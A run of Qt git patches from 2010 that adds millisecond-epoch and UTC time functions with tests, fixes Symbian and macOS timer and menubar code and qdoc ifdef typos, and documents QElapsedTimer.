qint64(tv.tv_sec) * Q_INT64_C(1000) + tv.tv_usec / 1000; +} + +#else +#error "What system is this?" +#endif + /*! \since 4.2 diff --git a/src/corelib/tools/qdatetime.h b/src/corelib/tools/qdatetime.h index cb7f5bd..ef5968e 100644 --- a/src/corelib/tools/qdatetime.h +++ b/src/corelib/tools/qdatetime.h @@ -204,7 +204,6 @@ private: friend class QDateTime; friend class QDateTimePrivate; - friend class QElapsedTimer; #ifndef QT_NO_DATASTREAM friend Q_CORE_EXPORT QDataStream &operator<<(QDataStream &, const QTime &); friend Q_CORE_EXPORT QDataStream &operator>>(QDataStream &, QTime &); @@ -262,11 +261,13 @@ public: int utcOffset() const; static QDateTime currentDateTime(); + static QDateTime currentDateTimeUtc(); #ifndef QT_NO_DATESTRING static QDateTime fromString(const QString &s, Qt::DateFormat f = Qt::TextDate); static QDateTime fromString(const QString &s, const QString &format); #endif static QDateTime fromTime_t(uint secsSince1Jan1970UTC); + static qint64 currentMsecsSinceEpoch(); #ifdef QT3_SUPPORT inline QT3_SUPPORT void setTime_t(uint secsSince1Jan1970UTC, Qt::TimeSpec spec) { diff --git a/src/corelib/tools/qelapsedtimer_generic.cpp b/src/corelib/tools/qelapsedtimer_generic.cpp index db6da46..3feecd6 100644 --- a/src/corelib/tools/qelapsedtimer_generic.cpp +++ b/src/corelib/tools/qelapsedtimer_generic.cpp @@ -44,12 +44,6 @@ QT_BEGIN_NAMESPACE -static qint64 currentDateTimeMsec() -{ - QDateTime t = QDateTime::currentDateTime(); - return t.toTime_t() * Q_INT64_C(1000) + t.time().msec(); -} - QElapsedTimer::ClockType QElapsedTimer::clockType() { return SystemTime; @@ -68,14 +62,14 @@ void QElapsedTimer::start() qint64 QElapsedTimer::restart() { qint64 old = t1; - t1 = currentDateTimeMsec(); + t1 = QDateTime::currentMsecsSinceEpoch(); t2 = 0; return t1 - old; } qint64 QElapsedTimer::elapsed() const { - return currentDateTimeMsec() - t1; + return QDateTime::currentMsecsSinceEpoch() - t1; } qint64 QElapsedTimer::msecsSinceReference() const diff --git a/src/corelib/tools/tools.pri b/src/corelib/tools/tools.pri index 692fae9..73dae7a 100644 --- a/src/corelib/tools/tools.pri +++ b/src/corelib/tools/tools.pri @@ -57,6 +57,7 @@ SOURCES += \ tools/qcryptographichash.cpp \ tools/qdatetime.cpp \ tools/qeasingcurve.cpp \ + tools/qelapsedtimer.cpp \ tools/qhash.cpp \ tools/qline.cpp \ tools/qlinkedlist.cpp \ @@ -77,13 +78,13 @@ SOURCES += \ tools/qstringlist.cpp \ tools/qtextboundaryfinder.cpp \ tools/qtimeline.cpp \ - tools/qelapsedtimer.cpp \ tools/qvector.cpp \ tools/qvsnprintf.cpp symbian:SOURCES+=tools/qlocale_symbian.cpp mac:SOURCES += tools/qelapsedtimer_mac.cpp +else:symbian:SOURCES += tools/qelapsedtimer_generic.cpp else:unix:SOURCES += tools/qelapsedtimer_unix.cpp else:win32:SOURCES += tools/qelapsedtimer_win.cpp else:SOURCES += tools/qelapsedtimer_generic.cpp diff --git a/tests/auto/qdatetime/tst_qdatetime.cpp b/tests/auto/qdatetime/tst_qdatetime.cpp index 86a4c80..a6b9a5f 100644 --- a/tests/auto/qdatetime/tst_qdatetime.cpp +++ b/tests/auto/qdatetime/tst_qdatetime.cpp @@ -106,6 +106,8 @@ private slots: void secsTo(); void operator_eqeq(); void currentDateTime(); + void currentDateTimeUtc(); + void currentDateTimeUtc2(); void fromStringTextDate_data(); void fromStringTextDate(); @@ -880,6 +882,79 @@ void tst_QDateTime::currentDateTime() QVERIFY(dt3.timeSpec() == Qt::UTC); } +void tst_QDateTime::currentDateTimeUtc() +{ +#if defined(Q_OS_WINCE) + __time64_t buf1, buf2; + ::_time64(&buf1); +#else + time_t buf1, buf2; + ::time(&buf1); +#endif + QDateTime lowerBound; + lowerBound.setTime_t(buf1); + + QDateTime dt1 = QDateTime::currentDateTimeUtc(); + QDateTime dt2 = QDateTime::currentDateTimeUtc().toLocalTime(); + QDateTime dt3 = QDateTime::currentDateTimeUtc().toUTC(); + +#if defined(Q_OS_WINCE) + ::_time64(&buf2); +#else + ::time(&buf2); +#endif + QDateTime upperBound; + upperBound.setTime_t(buf2); + upperBound = upperBound.addSecs(1); + + QVERIFY(lowerBound < upperBound); + + QVERIFY(lowerBound <= dt1); + QVERIFY(dt1 < upperBound); + QVERIFY(lowerBound <= dt2); + QVERIFY(dt2 < upperBound); + QVERIFY(lowerBound <= dt3); + QVERIFY(dt3 < upperBound); + + QVERIFY(dt1.timeSpec() == Qt::UTC); + QVERIFY(dt2.timeSpec() == Qt::LocalTime); + QVERIFY(dt3.timeSpec() == Qt::UTC); +} + +void tst_QDateTime::currentDateTimeUtc2() +{ + QDateTime local, utc; + qint64 msec; + + // check that we got all down to the same milliseconds + int i = 2; + bool ok = false; + do { + local = QDateTime::currentDateTime(); + utc = QDateTime::currentDateTimeUtc(); + msec = QDateTime::currentMsecsSinceEpoch(); + ok = local.time().msec() == utc.time().msec() + && utc.time().msec() == (msec % 1000); + } while (--i && !ok); + + if (!i) + QSKIP("Failed to get the dates within 1 ms of each other", SkipAll); + + // seconds and milliseconds should be the same: + QCOMPARE(utc.time().second(), local.time().second()); + QCOMPARE(utc.time().msec(), local.time().msec()); + QCOMPARE(msec % 1000, qint64(local.time().msec())); + QCOMPARE(msec / 1000 % 60, qint64(local.time().second())); + + // the two dates should be equal, actually + QCOMPARE(local.toUTC(), utc); + QCOMPARE(utc.toLocalTime(), local); + + // and finally, the time_t should equal our number + QCOMPARE(qint64(utc.toTime_t()), msec / 1000); + QCOMPARE(qint64(local.toTime_t()), msec / 1000); +} + void tst_QDateTime::toTime_t_data() { QTest::addColumn("dateTimeStr"); -- cgit v0.12 From e62a99d588eaf2b7443250f36c42762a0631c02a Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 5 Mar 2010 19:03:51 +0100 Subject: Bugfix the Symbian implementation --- mkspecs/common/symbian/symbian.conf | 4 ++-- src/corelib/tools/qdatetime.cpp | 4 ++-- src/corelib/tools/qelapsedtimer_symbian.cpp | 20 +++++++++++++++++++- src/corelib/tools/tools.pri | 2 +- 4 files changed, 24 insertions(+), 6 deletions(-) diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf index 16b9a28..239b998 100644 --- a/mkspecs/common/symbian/symbian.conf +++ b/mkspecs/common/symbian/symbian.conf @@ -74,8 +74,8 @@ QMAKE_LINK_OBJECT_MAX = QMAKE_LINK_OBJECT_SCRIPT= QMAKE_LIBS = -llibc -llibm -leuser -llibdl -QMAKE_LIBS_CORE = $$QMAKE_LIBS -llibpthread -lefsrv -QMAKE_LIBS_GUI = $$QMAKE_LIBS_CORE -lfbscli -lbitgdi -lhal -lgdi -lws32 -lapgrfx -lcone -leikcore -lmediaclientaudio -leikcoctl -leiksrv -lapparc -lcentralrepository +QMAKE_LIBS_CORE = $$QMAKE_LIBS -llibpthread -lefsrv -lhal +QMAKE_LIBS_GUI = $$QMAKE_LIBS_CORE -lfbscli -lbitgdi -lgdi -lws32 -lapgrfx -lcone -leikcore -lmediaclientaudio -leikcoctl -leiksrv -lapparc -lcentralrepository QMAKE_LIBS_NETWORK = QMAKE_LIBS_EGL = -llibEGL QMAKE_LIBS_OPENGL = diff --git a/src/corelib/tools/qdatetime.cpp b/src/corelib/tools/qdatetime.cpp index 7e03777..54a4205 100644 --- a/src/corelib/tools/qdatetime.cpp +++ b/src/corelib/tools/qdatetime.cpp @@ -2953,8 +2953,8 @@ qint64 QDateTime::currentMsecsSinceEpoch() qint64 value = gmTime.Int64(); // whereas 1970-01-01T00:00:00 is (in the same representation): - static const qint64 unixEpoch = qint64(1970 * 365 + 1970 / 4 - 1970 / 100 + 1970 / 400) * Q_INT64_C(86400) - * Q_INT64_C(1000000); + // ((1970 * 365) + (1970 / 4) - (1970 / 100) + (1970 / 400) - 13) * 86400 * 1000000 + static const qint64 unixEpoch = Q_INT64_C(0xdcddb30f2f8000); return (value - unixEpoch) / 1000; } diff --git a/src/corelib/tools/qelapsedtimer_symbian.cpp b/src/corelib/tools/qelapsedtimer_symbian.cpp index 6360dbf..038b102 100644 --- a/src/corelib/tools/qelapsedtimer_symbian.cpp +++ b/src/corelib/tools/qelapsedtimer_symbian.cpp @@ -40,12 +40,15 @@ ****************************************************************************/ #include "qelapsedtimer.h" +#include "qpair.h" #include +#include +#include QT_BEGIN_NAMESPACE // return quint64 to avoid sign-extension -static quint64 getMillisecondFromTick() +static quint64 getMicrosecondFromTick() { static TInt nanokernel_tick_period; if (!nanokernel_tick_period) @@ -61,6 +64,21 @@ static quint64 getMillisecondFromTick() return nanokernel_tick_period * (val | (quint64(highdword) << 32)); } +static quint64 getMillisecondFromTick() +{ + return getMicrosecondFromTick() / 1000; +} + +timeval qt_gettime() +{ + timeval tv; + quint64 now = getMicrosecondFromTick(); + tv.tv_sec = now / 1000000; + tv.tv_usec = now % 1000000; + + return tv; +} + QElapsedTimer::ClockType QElapsedTimer::clockType() { return TickCounter; diff --git a/src/corelib/tools/tools.pri b/src/corelib/tools/tools.pri index 73dae7a..4e0ebbc 100644 --- a/src/corelib/tools/tools.pri +++ b/src/corelib/tools/tools.pri @@ -84,7 +84,7 @@ SOURCES += \ symbian:SOURCES+=tools/qlocale_symbian.cpp mac:SOURCES += tools/qelapsedtimer_mac.cpp -else:symbian:SOURCES += tools/qelapsedtimer_generic.cpp +else:symbian:SOURCES += tools/qelapsedtimer_symbian.cpp else:unix:SOURCES += tools/qelapsedtimer_unix.cpp else:win32:SOURCES += tools/qelapsedtimer_win.cpp else:SOURCES += tools/qelapsedtimer_generic.cpp -- cgit v0.12 From c8b999d9d1eaf3379233169ccd4e9ea8c86a1702 Mon Sep 17 00:00:00 2001 From: Carlos Manuel Duclos Vergara Date: Wed, 17 Mar 2010 12:03:50 +0100 Subject: "Strictly" Fullscreen Application in Mac OS Full screen in OSX is achieved by using the Kiosk Mode. Therefore it is not a real full screen but an emulation since we basically disable the dock and the menubar. Previous to this patch we were autoshowing the menubar all the time even when we didn't have a menubar. The problem with that is the fact that in OSX there is always a system menubar, so the menubar appeared the moment somebody hovered over the menubar region. With this patch we check if we have created a menubar and if so we autoshow the menubar, otherwise the menubar will remain hidden in full screen mode. Task-number: QTBUG-8933 Reviewed-by: Richard Moe Gustavsen --- src/gui/widgets/qmenu_mac.mm | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/src/gui/widgets/qmenu_mac.mm b/src/gui/widgets/qmenu_mac.mm index 43722a1..627043d 100644 --- a/src/gui/widgets/qmenu_mac.mm +++ b/src/gui/widgets/qmenu_mac.mm @@ -2060,6 +2060,22 @@ bool QMenuBarPrivate::macUpdateMenuBarImmediatly() QWidget *w = findWindowThatShouldDisplayMenubar(); QMenuBar *mb = findMenubarForWindow(w); + // We need to see if we are in full screen mode, if so we need to + // switch the full screen mode to be able to show or hide the menubar. + if(w && mb) { + // This case means we are creating a menubar, check if full screen + if(w->isFullScreen()) { + // Ok, switch to showing the menubar when hovering over it. + SetSystemUIMode(kUIModeAllHidden, kUIOptionAutoShowMenuBar); + } + } else if(w) { + // Removing a menubar + if(w->isFullScreen()) { + // Ok, switch to not showing the menubar when hovering on it + SetSystemUIMode(kUIModeAllHidden, 0); + } + } + if (mb && mb->isNativeMenuBar()) { bool modal = QApplicationPrivate::modalState(); #ifdef QT_MAC_USE_COCOA -- cgit v0.12 From f8d5f2594a9b268b9eeecf95b24b23fc940c71ce Mon Sep 17 00:00:00 2001 From: Carlos Manuel Duclos Vergara Date: Wed, 17 Mar 2010 12:09:03 +0100 Subject: Cocoa: minisplitter has only 1px wide grab area The problem was that in Cocoa we were ignoring the WA_MouseNoMask attribute, therefore the mask was being applied to the mouse movements. This in turn caused the cursor not to change accordingly. Task-number: QTCREATORBUG-361 Reviewed-by: Prasanth --- src/gui/kernel/qcocoaview_mac.mm | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm index 4f71681..a627616 100644 --- a/src/gui/kernel/qcocoaview_mac.mm +++ b/src/gui/kernel/qcocoaview_mac.mm @@ -241,7 +241,8 @@ static int qCocoaViewCount = 0; QRegion mask = qt_widget_private(cursorWidget)->extra->mask; NSCursor *nscursor = static_cast(qt_mac_nsCursorForQCursor(cursorWidget->cursor())); - if (mask.isEmpty()) { + // The mask could have the WA_MouseNoMask attribute set and that means that we have to ignore the mask. + if (mask.isEmpty() || cursorWidget->testAttribute(Qt::WA_MouseNoMask)) { [self addCursorRect:[qt_mac_nativeview_for(cursorWidget) visibleRect] cursor:nscursor]; } else { const QVector &rects = mask.rects(); @@ -490,7 +491,9 @@ static int qCocoaViewCount = 0; CGContextRef cg = (CGContextRef)[[NSGraphicsContext currentContext] graphicsPort]; qwidgetprivate->hd = cg; CGContextSaveGState(cg); - + CGFloat components[] = {1,0,0,1}; + CGContextSetFillColor(cg, components); + CGContextFillRect(cg, aRect); if (qwidget->isVisible() && qwidget->updatesEnabled()) { //process the actual paint event. if (qwidget->testAttribute(Qt::WA_WState_InPaintEvent)) qWarning("QWidget::repaint: Recursive repaint detected"); -- cgit v0.12 From 7e9052cc1f16b3eeabb73ada9492d91620df796d Mon Sep 17 00:00:00 2001 From: Carlos Manuel Duclos Vergara Date: Wed, 17 Mar 2010 12:15:59 +0100 Subject: Manual test for QTBUG-8933. See the readme file. Reviewed-by: TrustMe --- tests/manual/qtbug-8933/README | 7 ++++ tests/manual/qtbug-8933/main.cpp | 10 ++++++ tests/manual/qtbug-8933/qtbug-8933.pro | 16 ++++++++++ tests/manual/qtbug-8933/widget.cpp | 58 ++++++++++++++++++++++++++++++++++ tests/manual/qtbug-8933/widget.h | 32 +++++++++++++++++++ tests/manual/qtbug-8933/widget.ui | 33 +++++++++++++++++++ 6 files changed, 156 insertions(+) create mode 100644 tests/manual/qtbug-8933/README create mode 100644 tests/manual/qtbug-8933/main.cpp create mode 100644 tests/manual/qtbug-8933/qtbug-8933.pro create mode 100644 tests/manual/qtbug-8933/widget.cpp create mode 100644 tests/manual/qtbug-8933/widget.h create mode 100644 tests/manual/qtbug-8933/widget.ui diff --git a/tests/manual/qtbug-8933/README b/tests/manual/qtbug-8933/README new file mode 100644 index 0000000..b3ce407 --- /dev/null +++ b/tests/manual/qtbug-8933/README @@ -0,0 +1,7 @@ +The purpose of this test is to check if the full screen mode in OSX is working properly or not. +This test creates a widget and 5 seconds later enters full screen mode. If you hover over the area +where the menubar should be you will get no menubar. After 5 more seconds (i.e. 10 seconds since +start) a menubar is created. At that point, if you hover over the menubar area you will get the +menubar. 5 seconds later the menubar is destroyed and if you hover over there will be no menubar. +After 5 more seconds the widget goes back to normal mode and the test is finished. + diff --git a/tests/manual/qtbug-8933/main.cpp b/tests/manual/qtbug-8933/main.cpp new file mode 100644 index 0000000..841b7c3 --- /dev/null +++ b/tests/manual/qtbug-8933/main.cpp @@ -0,0 +1,10 @@ +#include +#include "widget.h" + +int main(int argc, char *argv[]) +{ + QApplication a(argc, argv); + Widget w; + w.show(); + return a.exec(); +} diff --git a/tests/manual/qtbug-8933/qtbug-8933.pro b/tests/manual/qtbug-8933/qtbug-8933.pro new file mode 100644 index 0000000..8b87c83 --- /dev/null +++ b/tests/manual/qtbug-8933/qtbug-8933.pro @@ -0,0 +1,16 @@ +#------------------------------------------------- +# +# Project created by QtCreator 2010-03-16T14:40:16 +# +#------------------------------------------------- + +TARGET = qtbug-8933 +TEMPLATE = app + + +SOURCES += main.cpp\ + widget.cpp + +HEADERS += widget.h + +FORMS += widget.ui diff --git a/tests/manual/qtbug-8933/widget.cpp b/tests/manual/qtbug-8933/widget.cpp new file mode 100644 index 0000000..47a440b --- /dev/null +++ b/tests/manual/qtbug-8933/widget.cpp @@ -0,0 +1,58 @@ +#include "widget.h" +#include "ui_widget.h" + +#include +#include + +Widget::Widget(QWidget *parent) : + QWidget(parent), + ui(new Ui::Widget) +{ + ui->setupUi(this); + QTimer::singleShot(5000, this, SLOT(switchToFullScreen())); + QTimer::singleShot(10000, this, SLOT(addMenuBar())); + QTimer::singleShot(15000, this, SLOT(removeMenuBar())); + QTimer::singleShot(20000, this, SLOT(switchToNormalScreen())); +} + +Widget::~Widget() +{ + delete ui; +} + +void Widget::changeEvent(QEvent *e) +{ + QWidget::changeEvent(e); + switch (e->type()) { + case QEvent::LanguageChange: + ui->retranslateUi(this); + break; + default: + break; + } +} + +void Widget::switchToFullScreen() +{ + ui->label->setText("entering full screen"); + showFullScreen(); +} + +void Widget::switchToNormalScreen() +{ + ui->label->setText("leaving full screen"); + showNormal(); +} + +void Widget::addMenuBar() +{ + ui->label->setText("adding menu bar"); + menuBar = new QMenuBar(this); + menuBar->setVisible(true); +} + +void Widget::removeMenuBar() +{ + ui->label->setText("removing menu bar"); + delete menuBar; +} diff --git a/tests/manual/qtbug-8933/widget.h b/tests/manual/qtbug-8933/widget.h new file mode 100644 index 0000000..f6afa8f --- /dev/null +++ b/tests/manual/qtbug-8933/widget.h @@ -0,0 +1,32 @@ +#ifndef WIDGET_H +#define WIDGET_H + +#include +#include +#include + +namespace Ui { + class Widget; +} + +class Widget : public QWidget { + Q_OBJECT +public: + Widget(QWidget *parent = 0); + ~Widget(); + +public slots: + void switchToFullScreen(); + void switchToNormalScreen(); + void addMenuBar(); + void removeMenuBar(); + +protected: + void changeEvent(QEvent *e); + +private: + Ui::Widget *ui; + QMenuBar *menuBar; +}; + +#endif // WIDGET_H diff --git a/tests/manual/qtbug-8933/widget.ui b/tests/manual/qtbug-8933/widget.ui new file mode 100644 index 0000000..e0ded3f --- /dev/null +++ b/tests/manual/qtbug-8933/widget.ui @@ -0,0 +1,33 @@ + + + Widget + + + + 0 + 0 + 600 + 400 + + + + Widget + + + + + 110 + 60 + 311 + 16 + + + + TextLabel + + + + + + + -- cgit v0.12 From d28a81d51734afd1f3a052f4c4e9fc90aef393e8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 17 Mar 2010 12:44:01 +0100 Subject: qdoc3: Fixed some ifdef typos and removed some whitespace. --- tools/qdoc3/generator.cpp | 8 ++++---- tools/qdoc3/node.cpp | 12 ++++++------ 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 0c6497b..62f191b 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -1194,14 +1194,14 @@ void Generator::appendSortedQmlNames(Text& text, QMap classMap; int index = 0; -#ifdef DEBUG_MULTIPLE QDOCCONF_FILES +#ifdef DEBUG_MULTIPLE_QDOCCONF_FILES qDebug() << "Generator::appendSortedQmlNames():" << base->name() << "is inherited by..."; -#endif +#endif for (int i = 0; i < subs.size(); ++i) { Text t; -#ifdef DEBUG_MULTIPLE QDOCCONF_FILES +#ifdef DEBUG_MULTIPLE_QDOCCONF_FILES qDebug() << " " << subs[i]->name(); -#endif +#endif appendFullName(t, subs[i], base, marker); classMap[t.toString().toLower()] = t; } diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index d60ff73..bd37443 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1297,9 +1297,9 @@ QmlClassNode::QmlClassNode(InnerNode *parent, */ QmlClassNode::~QmlClassNode() { -#ifdef DEBUG_MULTIPLE QDOCCONF_FILES +#ifdef DEBUG_MULTIPLE_QDOCCONF_FILES qDebug() << "Deleting QmlClassNode:" << name(); -#endif +#endif } /*! @@ -1334,9 +1334,9 @@ QString QmlClassNode::fileBase() const void QmlClassNode::addInheritedBy(const QString& base, Node* sub) { inheritedBy.insert(base,sub); -#ifdef DEBUG_MULTIPLE QDOCCONF_FILES +#ifdef DEBUG_MULTIPLE-QDOCCONF_FILES qDebug() << "QmlClassNode::addInheritedBy(): insert" << base << sub->name() << inheritedBy.size(); -#endif +#endif } /*! @@ -1347,10 +1347,10 @@ void QmlClassNode::subclasses(const QString& base, NodeList& subs) subs.clear(); if (inheritedBy.count(base) > 0) { subs = inheritedBy.values(base); -#ifdef DEBUG_MULTIPLE QDOCCONF_FILES +#ifdef DEBUG_MULTIPLE_QDOCCONF_FILES qDebug() << "QmlClassNode::subclasses():" << inheritedBy.count(base) << base << "subs:" << subs.size() << "total size:" << inheritedBy.size(); -#endif +#endif } } -- cgit v0.12 From 99f3df7982fc6f5c3016c828e01cea3fe5a596b7 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 17 Mar 2010 13:14:28 +0100 Subject: Added missing "const" for mac. --- src/corelib/tools/qelapsedtimer_mac.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/tools/qelapsedtimer_mac.cpp b/src/corelib/tools/qelapsedtimer_mac.cpp index 4a62761..8fceb49 100644 --- a/src/corelib/tools/qelapsedtimer_mac.cpp +++ b/src/corelib/tools/qelapsedtimer_mac.cpp @@ -103,7 +103,7 @@ qint64 QElapsedTimer::elapsed() const return absoluteToMSecs(cpu_time - t1); } -qint64 QElapsedTimer::msecsSinceReference() +qint64 QElapsedTimer::msecsSinceReference() const { return absoluteToMSecs(t1); } -- cgit v0.12 From 0ca8f2b116a01323b40c139a014f955e30b2acd3 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Wed, 17 Mar 2010 13:34:43 +0100 Subject: Doc: document QElapsedTimer Task-Number: QT-2965 --- doc/src/snippets/qelapsedtimer/main.cpp | 112 ++++++++++++++ doc/src/snippets/qelapsedtimer/qelapsedtimer.pro | 2 + src/corelib/tools/qelapsedtimer.cpp | 186 +++++++++++++++++++++++ src/corelib/tools/qelapsedtimer_generic.cpp | 82 ++++++++++ 4 files changed, 382 insertions(+) create mode 100644 doc/src/snippets/qelapsedtimer/main.cpp create mode 100644 doc/src/snippets/qelapsedtimer/qelapsedtimer.pro diff --git a/doc/src/snippets/qelapsedtimer/main.cpp b/doc/src/snippets/qelapsedtimer/main.cpp new file mode 100644 index 0000000..9d0421f --- /dev/null +++ b/doc/src/snippets/qelapsedtimer/main.cpp @@ -0,0 +1,112 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtNetwork module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +#include + +void slowOperation1() +{ + static char buf[256]; + for (int i = 0; i < (1<<20); ++i) + buf[i % sizeof buf] = i; +} + +void slowOperation2(int) { slowOperation1(); } + +void startExample() +{ +//![0] + QElapsedTimer timer; + timer.start(); + + slowOperation1(); + + qDebug() << "The slow operation took" << timer.elapsed() << "milliseconds"; +//![0] +} + +//![1] +void executeSlowOperations(int timeout) +{ + QElapsedTimer timer; + timer.start(); + slowOperation1(); + + int remainingTime = timeout - timer.elapsed(); + if (remainingTime > 0) + slowOperation2(remainingTime); +} +//![1] + +//![2] +void executeOperationsForTime(int ms) +{ + QElapsedTimer timer; + timer.start(); + + while (!timer.hasExpired(ms)) + slowOperation1(); +} +//![2] + +int restartExample() +{ +//![3] + QElapsedTimer timer; + + int count = 1; + timer.start(); + do { + count *= 2; + slowOperation2(count); + } while (timer.restart() < 250); + + return count; +//![3] +} + +int main(int argc, char **argv) +{ + QCoreApplication app(argc, argv); + + startExample(); + restartExample(); + executeSlowOperations(5); + executeOperationsForTime(5); +} diff --git a/doc/src/snippets/qelapsedtimer/qelapsedtimer.pro b/doc/src/snippets/qelapsedtimer/qelapsedtimer.pro new file mode 100644 index 0000000..b0a8f66 --- /dev/null +++ b/doc/src/snippets/qelapsedtimer/qelapsedtimer.pro @@ -0,0 +1,2 @@ +SOURCES = main.cpp +QT -= gui diff --git a/src/corelib/tools/qelapsedtimer.cpp b/src/corelib/tools/qelapsedtimer.cpp index 220b108..28dfc23 100644 --- a/src/corelib/tools/qelapsedtimer.cpp +++ b/src/corelib/tools/qelapsedtimer.cpp @@ -43,18 +43,204 @@ QT_BEGIN_NAMESPACE +/*! + \class QElapsedTimer + \brief The QElapsedTimer class provides a fast way to calculate elapsed times. + \since 4.7 + + \reentrant + \ingroup tools + \inmodule QtCore + + The QElapsedTimer class is usually used to quickly calculate how much + time has elapsed between two events. Its API is similar to that of QTime, + so code that was using that can be ported quickly to the new class. + + However, unlike QTime, QElapsedTimer tries to use monotonic clocks if + possible. This means it's not possible to convert QElapsedTimer objects + to a human-readable time. + + The typical use-case for the class is to determine how much time was + spent in a slow operation. The simplest example of such a case is for + debugging purposes, as in the following example: + + \snippet doc/src/snippets/qelapsedtimer/main.cpp 0 + + In this example, the timer is started by a call to start() and the + elapsed timer is calculated by the elapsed() function. + + The time elapsed can also be used to recalculate the time available for + another operation, after the first one is complete. This is useful when + the execution must complete within a certain time period, but several + steps are needed. The \tt{waitFor}-type functions in QIODevice and its + subclasses are good examples of such need. In that case, the code could + be as follows: + + \snippet doc/src/snippets/qelapsedtimer/main.cpp 1 + + Another use-case is to execute a certain operation for a specific + timeslice. For this, QElapsedTimer provides the hasExpired() convenience + function, which can be used to determine if a certain number of + milliseconds has already elapsed: + + \snippet doc/src/snippets/qelapsedtimer/main.cpp 1 + + \section1 Reference clocks + + QElapsedTimer will use the platform's monotonic reference clock in all + platforms that support it (see QElapsedTimer::isMonotonic()). This has + the added benefit that QElapsedTimer is immune to time adjustments, such + as the user correcting the time. Also unlike QTime, QElapsedTimer is + immune to changes in the timezone settings, such as daylight savings + periods. + + On the other hand, this means QElapsedTimer values can only be compared + with other values that use the same reference. This is especially true if + the time since the reference is extracted from the QElapsedTimer object + (QElapsedTimer::msecsSinceReference()) and serialised. These values + should never be exchanged across the network or saved to disk, since + there's no telling whether the computer node receiving the data is the + same as the one originating it or if it has rebooted since. + + It is, however, possible to exchange the value with other processes + running on the same machine, provided that they also use the same + reference clock. QElapsedTimer will always use the same clock, so it's + safe to compare with the value coming from another process in the same + machine. If comparing to values produced by other APIs, you should check + that the clock used is the same as QElapsedTimer (see + QElapsedTimer::clockType()). + + \section2 32-bit overflows + + Some of the clocks that QElapsedTimer have a limited range and may + overflow after hitting the upper limit (usually 32-bit). QElapsedTimer + deals with this overflow issue and presents a consistent timing. However, + when extracting the time since reference from QElapsedTimer, two + different processes in the same machine may have different understanding + of how much time has actually elapsed. + + The information on which clocks types may overflow and how to remedy that + issue is documented along with the clock types. + + \sa QTime, QTimer +*/ + +/*! + \enum QElapsedTimer::ClockType + + This enum contains the different clock types that QElapsedTimer may use. + + QElapsedTimer will always use the same clock type in a particular + machine, so this value will not change during the lifetime of a program. + It is provided so that QElapsedTimer can be used with other non-Qt + implementations, to guarantee that the same reference clock is being + used. + + \value SystemTime The human-readable system time. This clock is not monotonic. + \value MonotonicClock The system's monotonic clock, usually found in Unix systems. This clock is not monotonic and does not overflow. + \value TickCounter The system's tick counter, used on Windows and Symbian systems. This clock may overflow. + \value MachAbsoluteTime The Mach kernel's absolute time (Mac OS X). This clock is monotonic and does not overflow. + + \section2 SystemTime + + The system time clock is purely the real time, expressed in milliseconds + since Jan 1, 1970 at 0:00 UTC. It's equivalent to the value returned by + the C and POSIX \tt{time} function, with the milliseconds added. This + clock type is currently only used on Unix systems that do not support + monotonic clocks (see below). + + This is the only non-monotonic clock that QElapsedTimer may use. + + \section2 MonotonicClock + + This is the system's monotonic clock, expressed in milliseconds since an + arbitrary point in the past. This clock type is used on Unix systems + which support POSIX monotonic clocks (\tt{_POSIX_MONOTONIC_CLOCK}). + + This clock does not overflow. + + \section2 TickCounter + + The tick counter clock type is based on the system's or the processor's + tick counter, multiplied by the duration of a tick. This clock type is + used on Windows and Symbian platforms. + + The TickCounter clock type is the only clock type that may overflow. + Windows Vista and Windows Server 2008 support the extended 64-bit tick + counter, which allows avoiding the overflow. + + On Windows systems, the clock overflows after 2^32 milliseconds, which + corresponds to roughly 49.7 days. This means two processes's reckoning of + the time since the reference may be different by multiples of 2^32 + milliseconds. When comparing such values, it's recommended that the high + 32 bits of the millisecond count be masked off. + + On Symbian systems, the overflow happens after 2^32 ticks, the duration + of which can be obtained from the platform HAL using the constant + HAL::ENanoTickPeriod. When comparing values between processes, it's + necessary to divide the value by the tick duration and mask off the high + 32 bits. + + \section2 MachAbsoluteTime + + This clock type is based on the absolute time presented by Mach kernels, + such as that found on Mac OS X. This clock type is presented separately + from MonotonicClock since Mac OS X is also a Unix system and may support + a POSIX monotonic clock with values differing from the Mach absolute + time. + + This clock is monotonic and does not overflow. + + \sa clockType(), isMonotonic() +*/ + +/*! + \fn bool QElapsedTimer::operator ==(const QElapsedTimer &other) const + + Returns true if this object and \a other contain the same time. +*/ + +/*! + \fn bool QElapsedTimer::operator !=(const QElapsedTimer &other) const + + Returns true if this object and \a other contain different times. +*/ + static const qint64 invalidData = Q_INT64_C(0x8000000000000000); +/*! + 